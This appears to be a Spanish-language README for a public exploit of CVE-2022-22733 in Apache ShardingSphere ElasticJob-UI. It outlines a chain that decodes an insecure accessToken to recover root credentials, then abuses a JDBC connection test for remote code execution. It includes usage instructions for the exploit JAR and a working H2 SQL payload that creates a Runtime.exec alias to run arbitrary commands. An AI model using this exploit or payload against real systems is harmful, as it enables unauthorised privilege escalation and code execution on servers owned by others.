CVE-2022-22733

CVE-2022-22733 es una vulnerabilidad que afecta a Apache ShardingSphere ElasticJob-UI 3.0.0 y versiones anteriores. La vulnerabilidad conduce a una escalada de privilegios. Pero, abusando de los privilegios escalados, se puede realizar un ataque JDBC y lograr RCE. Puedes leer el análisis de la vulnerabilidad desde Aquí y el blog sobre la escritura del exploit paso a paso desde Aquí.

El exploit funciona de la siguiente manera:

• Iniciar sesión con la cuenta de bajos privilegios.
• Obtener el accessToken generado de forma insegura.
• Decodificar el accessToken generado de forma insegura.
• Analizar los datos decodificados del accessToken.
• Recuperar las credenciales de la cuenta root de los datos analizados.
• Iniciar sesión con las credenciales de la cuenta root y obtener privilegios completos en la aplicación.
• Enviar una solicitud de prueba de conexión abusando del ataque ``JDBC`.

Uso

Puedes descargar el archivo JAR desde aquí y el código fuente aquí.

• Ejecutar jar:

java -jar CVE-2022-22733.jar

• Código del script SQL:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('your_command_here')

Demostración